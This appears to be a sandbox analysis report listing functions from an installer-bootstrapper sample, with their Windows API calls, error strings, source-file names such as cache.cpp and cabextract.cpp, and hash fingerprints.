String ID: %ls container from working path '%ls' to path '%ls'$Copying$Failed to copy %ls to %ls$Failed to move %ls to %ls$Failed to open container in working path: %ls$Failed to verify container hash: %ls$Moving$cache.cpp
API String ID: 1275171361-1187406825
Opcode ID: de33e901958a95fecd3bf546f4481ce7083cf4ec524f42e6db23152c512b422e
Instruction ID: 256cf14fe73c1016fdc278dcd29cf6fee23264e671e033b4d5440ac96f403d28
Opcode Fuzzy Hash: de33e901958a95fecd3bf546f4481ce7083cf4ec524f42e6db23152c512b422e
Instruction Fuzzy Hash: 40212871E80B257AEB3122698E4BF7B697CEF51F52F100224BD04BA2C0D6E9DD0081F5

Function 00A5651B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 252fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000005,00000000,00000003,08000080,00000000,00000001,000000F9,00000000,00000000,?,?,?), ref: 00A56599
GetLastError.KERNEL32 ref: 00A565A7
GetFileSizeEx.KERNEL32(?,?), ref: 00A5660E
GetLastError.KERNEL32 ref: 00A56618
SetFilePointer.KERNEL32(?,?,?,00000001), ref: 00A5666F
GetLastError.KERNEL32 ref: 00A5667A
ReadFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,?,00000001), ref: 00A56746
GetLastError.KERNEL32 ref: 00A5678B
CloseHandle.KERNEL32(000000FF), ref: 00A567E4

Strings

fileutil.cpp, xrefs: 00A5653C, 00A565EE, 00A56639, 00A567B0

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandlePointerReadSize
String ID: fileutil.cpp
API String ID: 1273122604-2967768451
Opcode ID: fe0154d39192b87956eb72f312bb910a501fa193a9c4b46dadb714ef11d57743
Instruction ID: dc6bfe48a22c94f883e963df2346f4a752895cfcbabfde5ea6d48103453f8348
Opcode Fuzzy Hash: fe0154d39192b87956eb72f312bb910a501fa193a9c4b46dadb714ef11d57743
Instruction Fuzzy Hash: FE81E471650206EBEB208F24CC89B6E3675BB84727FA54539FD11DB180EB74CC4D8B61

Function 00A3545F Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 203COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,?,000000FF,00A21703,000000FF,?,00000000,00A21703), ref: 00A35499
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,00A2139F,00A2139F,00A2139F,00A2139F,?,00000000), ref: 00A35642
GetLastError.KERNEL32 ref: 00A3564F

Strings

Failed to append package start action., xrefs: 00A35516
Failed to append rollback cache action., xrefs: 00A35571
Failed to append cache action., xrefs: 00A35625
(, xrefs: 00A354A6
Failed to create syncpoint event., xrefs: 00A35683
Failed to append payload cache action., xrefs: 00A3562D
plan.cpp, xrefs: 00A35679

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareCreateErrorEventLastString
String ID: ($Failed to append cache action.$Failed to append package start action.$Failed to append payload cache action.$Failed to append rollback cache action.$Failed to create syncpoint event.$plan.cpp
API String ID: 801187047-794669014
Opcode ID: a0f68c498a09021a55f76115187d9110a7ef9965159bd02096a827ffb4ed4ef3
Instruction ID: 705bde6438ba1a6de0812a2363294dce897d6eb905a7ff3c745460d02bf3a83f
Opcode Fuzzy Hash: a0f68c498a09021a55f76115187d9110a7ef9965159bd02096a827ffb4ed4ef3
Instruction Fuzzy Hash: BF812571E14705EFCB14CFA8C995AAEBBB9FF08305F5185AAE415DB251E770EA40CB10

Function 00A526A0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 195sleepfiletimeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A526EF
GetTempPathW.KERNEL32(00000104,?,00000001,00000009,00000000), ref: 00A5273E
GetLastError.KERNEL32 ref: 00A52748
GetLocalTime.KERNEL32(?,?,?,?,00000000,?), ref: 00A527E1
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000001,00000080,00000000), ref: 00A52871
GetLastError.KERNEL32 ref: 00A52882
Sleep.KERNEL32(00000064), ref: 00A52894
CloseHandle.KERNEL32(000000FF), ref: 00A52903

Strings

%ls_%04u%02u%02u%02u%02u%02u%ls%ls%ls, xrefs: 00A52843
pathutil.cpp, xrefs: 00A5276D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CloseCreateFileHandleLocalPathSleepTempTime_memset
String ID: %ls_%04u%02u%02u%02u%02u%02u%ls%ls%ls$pathutil.cpp
API String ID: 820914711-1101990113
Opcode ID: 4be61f03936c3acfbda2d44653208287a63823384eae170494988c5c871d224d
Instruction ID: 403e68df8f04772d2e86fd202619a756309bf344f4c93a91abf2e625235f99e4
Opcode Fuzzy Hash: 4be61f03936c3acfbda2d44653208287a63823384eae170494988c5c871d224d
Instruction Fuzzy Hash: 8C717371940229AACB30DFA8DC88BEDB7B4FB49712F1006E5E919E6150E7344EC8CF60

Function 00A251C5 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 147COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,FFFFFEE3,000000FF,00A2214E,000000FF,00A2214E,00A21F0E,00A2214E,00A221DA,00A21E8E,00000000,00A221DA,00A21E8E,00A21E22,F08B8007), ref: 00A25233

Strings

Failed to ensure directory exists, xrefs: 00A2533D
Failed to extract file., xrefs: 00A25344
Payload was not found in container: %ls, xrefs: 00A2530D
payload.cpp, xrefs: 00A252FF
X, xrefs: 00A25242
Failed to find embedded payload: %ls, xrefs: 00A25327
Failed to get next stream., xrefs: 00A2531D
Failed to get directory portion of local file path, xrefs: 00A25336
Failed to concat file paths., xrefs: 00A2532F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareString
String ID: Failed to concat file paths.$Failed to ensure directory exists$Failed to extract file.$Failed to find embedded payload: %ls$Failed to get directory portion of local file path$Failed to get next stream.$Payload was not found in container: %ls$X$payload.cpp
API String ID: 1825529933-3888727562
Opcode ID: ffca134a998c4d69cd4e2032d9d9395dabf94ee0a28f3ecda10c576dbcff032a
Instruction ID: 8834f3f987cd5e9790637e19e1fa2996149ff3b2424610790ffaedaaee70a9b4
Opcode Fuzzy Hash: ffca134a998c4d69cd4e2032d9d9395dabf94ee0a28f3ecda10c576dbcff032a
Instruction Fuzzy Hash: C441CD32D00A25FBCF21DF69E841A9E7BB1BF843A1F259079ED14AB290D6B1D944DB40

Function 00A37D6C Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 126COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A37D9A
LocalFree.KERNEL32(?,?,00000001,80000005,?,00000000,?,00000000,00000003,000007D0), ref: 00A37ED4

Strings

Failed to create ACL to secure cache path: %ls, xrefs: 00A37E81
Failed to allocate access for SYSTEM group to path: %ls, xrefs: 00A37DE8
cache.cpp, xrefs: 00A37E71
Failed to allocate access for Administrators group to path: %ls, xrefs: 00A37DC7
Failed to allocate access for Users group to path: %ls, xrefs: 00A37E2F
Failed to secure cache path: %ls, xrefs: 00A37EB8
Failed to allocate access for Everyone group to path: %ls, xrefs: 00A37E0E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FreeLocal_memset
String ID: Failed to allocate access for Administrators group to path: %ls$Failed to allocate access for Everyone group to path: %ls$Failed to allocate access for SYSTEM group to path: %ls$Failed to allocate access for Users group to path: %ls$Failed to create ACL to secure cache path: %ls$Failed to secure cache path: %ls$cache.cpp
API String ID: 3302596199-4113288589
Opcode ID: 30562ec53a53cdb19d025dd61a0052242b71e013e4d68723a5d57e850bb7808f
Instruction ID: 7f7e59e0b9c719bd293436a2aeebb5203ab1b637d062aba3ddf5768536921d81
Opcode Fuzzy Hash: 30562ec53a53cdb19d025dd61a0052242b71e013e4d68723a5d57e850bb7808f
Instruction Fuzzy Hash: DB41C4B2D44228BBDF30AB909D85FEEB678BF04700F5185A4FA49F7080DA715D859FA0

Function 00A228E3 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 118COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 00A2291A
StringFromGUID2.OLE32(?,?,00000027), ref: 00A2292D

Strings

Failed to convert pipe guid into string., xrefs: 00A229B3
Failed to allocate pipe name., xrefs: 00A2295F
Failed to create pipe guid., xrefs: 00A22983
BurnPipe.%s, xrefs: 00A2294B
Failed to allocate pipe secret., xrefs: 00A229D0
pipe.cpp, xrefs: 00A22979, 00A229A9

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CreateFromStringUuid
String ID: BurnPipe.%s$Failed to allocate pipe name.$Failed to allocate pipe secret.$Failed to convert pipe guid into string.$Failed to create pipe guid.$pipe.cpp
API String ID: 4041566446-2510341293
Opcode ID: a8ba3b40915d34a970744327c52cf61038e4830d3c363702dae492a1428c6a0c
Instruction ID: 425fc0e594155c445031323fc202a923d8462ac1fe9ac4110658caccbc0d7d6c
Opcode Fuzzy Hash: a8ba3b40915d34a970744327c52cf61038e4830d3c363702dae492a1428c6a0c
Instruction Fuzzy Hash: 80315E32D40328BEDB10EBE8DD45FEEB7B8BB05722F104126E909FB141D6749989CB91

Function 00A46C5D Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 117networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestW.WININET(84400200,?,00000000,00000000,00000000,00A760D8,84400200,00000000), ref: 00A46CDA
GetLastError.KERNEL32(?,?,?,00A47435,00000000,00000000), ref: 00A46CE6
HttpAddRequestHeadersW.WININET(00000000,00000000,000000FF,40000000), ref: 00A46D34
GetLastError.KERNEL32(?,?,?,00A47435,00000000,00000000), ref: 00A46D3E
InternetCloseHandle.WININET(00000000), ref: 00A46D88

Strings

Failed to append query strong to resource from URI., xrefs: 00A46CBF
Failed to add header to HTTP request., xrefs: 00A46D6D
Failed to allocate string for resource URI., xrefs: 00A46C93
Failed to open internet request., xrefs: 00A46D15
downloadengine.cpp, xrefs: 00A46D0B, 00A46D63

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorHttpLastRequest$CloseHandleHeadersInternetOpen
String ID: Failed to add header to HTTP request.$Failed to allocate string for resource URI.$Failed to append query strong to resource from URI.$Failed to open internet request.$downloadengine.cpp
API String ID: 3883690129-2273796897
Opcode ID: 28c7ac4a84933634f1401e3e8fa99e16f6014a56bf3ce8e086d0d756e78289b4
Instruction ID: f2d2d1e2197da19606d1967e6b0120f242b49c05f135c914a0d31252b28b49d4
Opcode Fuzzy Hash: 28c7ac4a84933634f1401e3e8fa99e16f6014a56bf3ce8e086d0d756e78289b4
Instruction Fuzzy Hash: 36310375B41718FFCB219FA09EC9A6E7A78FF86B52F200525F411E6081E7708D449BA2

Function 00A3665B Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 98threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,?,?,00A21E12,?), ref: 00A3667D
GetLastError.KERNEL32(?,?,?,00A21E12,?), ref: 00A3668A
CreateThread.KERNEL32(00000000,00000000,00A36459,?,00000000,00000000), ref: 00A366E2
GetLastError.KERNEL32(?,?,?,00A21E12,?), ref: 00A366EF
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,00A21E12,?), ref: 00A36733
CloseHandle.KERNEL32(00000001,?,?,?,00A21E12,?), ref: 00A36747
CloseHandle.KERNEL32(?,?,?,?,00A21E12,?), ref: 00A36754

Strings

Failed to create modal event., xrefs: 00A366B6
splashscreen.cpp, xrefs: 00A366AC, 00A36711
Failed to create UI thread., xrefs: 00A3671B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCreateErrorHandleLast$EventMultipleObjectsThreadWait
String ID: Failed to create UI thread.$Failed to create modal event.$splashscreen.cpp
API String ID: 2351989216-1977201954
Opcode ID: 1ac80b1016bb955a8727eba7f603a6dfd22f3ab0ebfaf98d2c8a28cf157bdfc0
Instruction ID: a2403d6c975bb1b4e624b5aca348668e407735a74ffc1f85257f794b586575dc
Opcode Fuzzy Hash: 1ac80b1016bb955a8727eba7f603a6dfd22f3ab0ebfaf98d2c8a28cf157bdfc0
Instruction Fuzzy Hash: 5A31E275D50615FEDB219BA8DC49AAFBBB4FB85712F208529F914F2190E7344900CBA0

Function 00A29545 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A2956B
GetSystemWow64DirectoryW.KERNEL32(?,00000104), ref: 00A29586
GetLastError.KERNEL32 ref: 00A29590
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00A295CF
GetLastError.KERNEL32 ref: 00A295D9

Strings

variable.cpp, xrefs: 00A295BE, 00A295FE
Failed to backslash terminate system folder., xrefs: 00A2962C
Failed to get 64-bit system folder., xrefs: 00A29608
Failed to set system folder variant value., xrefs: 00A29648
Failed to get 32-bit system folder., xrefs: 00A295C8

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: DirectoryErrorLastSystem$Wow64_memset
String ID: Failed to backslash terminate system folder.$Failed to get 32-bit system folder.$Failed to get 64-bit system folder.$Failed to set system folder variant value.$variable.cpp
API String ID: 3186313095-1590374846
Opcode ID: 42f6cf3ba27634dfe07a88ed92b09e53438f4d26df5cc20582518fad02cb80ae
Instruction ID: 7e784ebc012c06c885305b3b54c340779890a465cc69c9ffa3521cbdc3374a71
Opcode Fuzzy Hash: 42f6cf3ba27634dfe07a88ed92b09e53438f4d26df5cc20582518fad02cb80ae
Instruction Fuzzy Hash: 31210472E41735A6D7219768BD0AFAB27E8BF00F11F114175F814EA180EB78DD488AE5

Function 00A461E6 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90threadCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,00A21D72,00000000,000000FF,75572F60,00000000,00A21D72,?), ref: 00A4620F
GetLastError.KERNEL32 ref: 00A46222
GetExitCodeThread.KERNEL32(?,000000FF), ref: 00A46271
GetLastError.KERNEL32 ref: 00A4627F
ResetEvent.KERNEL32(?), ref: 00A462BD
GetLastError.KERNEL32 ref: 00A462C7

Strings

Failed to wait for operation complete event., xrefs: 00A46256
Failed to reset operation complete event., xrefs: 00A462FB
Failed to get extraction thread exit code., xrefs: 00A462B3
cabextract.cpp, xrefs: 00A4624C, 00A462A9, 00A462F1

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CodeEventExitMultipleObjectsResetThreadWait
String ID: Failed to get extraction thread exit code.$Failed to reset operation complete event.$Failed to wait for operation complete event.$cabextract.cpp
API String ID: 2979751695-3400260300
Opcode ID: bcf2604e687591c0289cd6186565e3beafa3629eec8fd4f8dfb405931a593e97
Instruction ID: f82213b9046b6d7428c2f65ec9d8ce013df183ebdff09cb0cd43e6346b663a62
Opcode Fuzzy Hash: bcf2604e687591c0289cd6186565e3beafa3629eec8fd4f8dfb405931a593e97
Instruction Fuzzy Hash: 2A31B175E40305FEDB10DFE4DE85AAD7BB0FB46702F20093DE215E6090E3B49A489B12

Function 00A460DC Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 89synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(526A5680,00A2222A,00A21E22,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12,00000000), ref: 00A460FD
GetLastError.KERNEL32(?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12,00000000,?,00A21E22,A5BB4868), ref: 00A46107
WaitForSingleObject.KERNEL32(004005BE,000000FF,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12,00000000,?), ref: 00A46147
GetLastError.KERNEL32(?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12,00000000,?,00A21E22,A5BB4868), ref: 00A46151
CloseHandle.KERNEL32(004005BE,00000000,00A2222A,00A21E22,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12), ref: 00A461A3
CloseHandle.KERNEL32(526A5680,00000000,00A2222A,00A21E22,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12), ref: 00A461B0
CloseHandle.KERNEL32(A5BD4468,00000000,00A2222A,00A21E22,?,?,00A4071F,00A2222A,00000000,00A21AA6,?,00A2D9EE,?,00A21AA6,00A21E12,00A21E12), ref: 00A461BD

Strings

Failed to set begin operation event., xrefs: 00A4613B
cabextract.cpp, xrefs: 00A46131, 00A4617B
Failed to wait for thread to terminate., xrefs: 00A46185

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle$ErrorLast$EventObjectSingleWait
String ID: Failed to set begin operation event.$Failed to wait for thread to terminate.$cabextract.cpp
API String ID: 1206859064-226982402
Opcode ID: e5c29dcae0efbd2ebb18b1e49462f7c0f28959a621c2b90b8571517f59391e32
Instruction ID: f6459f3fbe4852f0ad122e0fc5c9b9a4cefc3b4600f69f4538b3ff2ffe341c99
Opcode Fuzzy Hash: e5c29dcae0efbd2ebb18b1e49462f7c0f28959a621c2b90b8571517f59391e32
Instruction Fuzzy Hash: 2131AE76A00701EBCB209FA9DD8595EB6F8BF4A312B200B3DE505E3191D774E9489B11

Function 00A29667 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A2968E
_memset.LIBCMT ref: 00A2969D
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00A296B2
GetLastError.KERNEL32 ref: 00A296BC
GetVolumePathNameW.KERNEL32(?,?,00000104), ref: 00A29701
GetLastError.KERNEL32 ref: 00A2970B

Strings

Failed to set variant value., xrefs: 00A29756
variable.cpp, xrefs: 00A296E1, 00A29730
Failed to get windows directory., xrefs: 00A296EB
Failed to get volume path name., xrefs: 00A2973A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast_memset$DirectoryNamePathVolumeWindows
String ID: Failed to get volume path name.$Failed to get windows directory.$Failed to set variant value.$variable.cpp
API String ID: 2690897267-4026719079
Opcode ID: e89d8e00e6672c9c5b63d2289239b2bcb6416151157f761101e804a7e6d77583
Instruction ID: 0733a46eaf29ebd42511dee9ce1571dbd2cbb55859a2fa050f06fca22c44138d
Opcode Fuzzy Hash: e89d8e00e6672c9c5b63d2289239b2bcb6416151157f761101e804a7e6d77583
Instruction Fuzzy Hash: CA214CB2E5033577D320AB64AD05FAB776CAF40B11F000478BD05F7181EA34DA448BA4

Function 00A28F71 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5309E: _memset.LIBCMT ref: 00A530C5
Part of subcall function 00A5309E: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00A530DA
Part of subcall function 00A5309E: LoadLibraryW.KERNELBASE(?,?,00000104,00A21C3B), ref: 00A53128
Part of subcall function 00A5309E: GetLastError.KERNEL32 ref: 00A53134

GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00A28F9F
GetLastError.KERNEL32 ref: 00A28FAC
_memset.LIBCMT ref: 00A28FEA
FreeLibrary.KERNEL32(00000000), ref: 00A2901D

Strings

variable.cpp, xrefs: 00A28FD1
Failed to load ntdll.dll, xrefs: 00A28F8F
ntdll.dll, xrefs: 00A28F7F
Failed to get RtlGetVersion entry point, xrefs: 00A28FDB
RtlGetVersion, xrefs: 00A28F97
Failed to get OS version from RtlGetVersion, xrefs: 00A29005

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastLibrary_memset$AddressDirectoryFreeLoadProcSystem
String ID: Failed to get OS version from RtlGetVersion$Failed to get RtlGetVersion entry point$Failed to load ntdll.dll$RtlGetVersion$ntdll.dll$variable.cpp
API String ID: 1538852321-2659798697
Opcode ID: 6388a4517072305b9e80b1a2df6782666d3d61e6a63a4417d66a5495e22b7391
Instruction ID: 7906cc0a247f03b2335d88d347422e28def5937fe52c732edc81e33236922ac2
Opcode Fuzzy Hash: 6388a4517072305b9e80b1a2df6782666d3d61e6a63a4417d66a5495e22b7391
Instruction Fuzzy Hash: E3118A71784316BBE7115BA8AE46F6B7AB8AB10B05F100438F602E5191EFB89A449A24

Function 00A34057 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 279COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000001,?,000000FF,?,000000FF,00000000,00A21317,00A2171F,00A21333,00A21703,?,00A2139F,00A2171F,00A215D7,00A213CF), ref: 00A340CC

Strings

Failed to add registration action for dependent related bundle., xrefs: 00A3439C
Failed to add registration action for self dependent., xrefs: 00A34366
Failed to add dependents ignored from command-line., xrefs: 00A34184
Failed to allocate registration action., xrefs: 00A3413B
Failed to add dependent bundle provider key to ignore dependents., xrefs: 00A3421E
Failed to check for remaining dependents during planning., xrefs: 00A34260
Failed to add self-dependent to ignore dependents., xrefs: 00A34154
Failed to create the string dictionary., xrefs: 00A3410A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareString
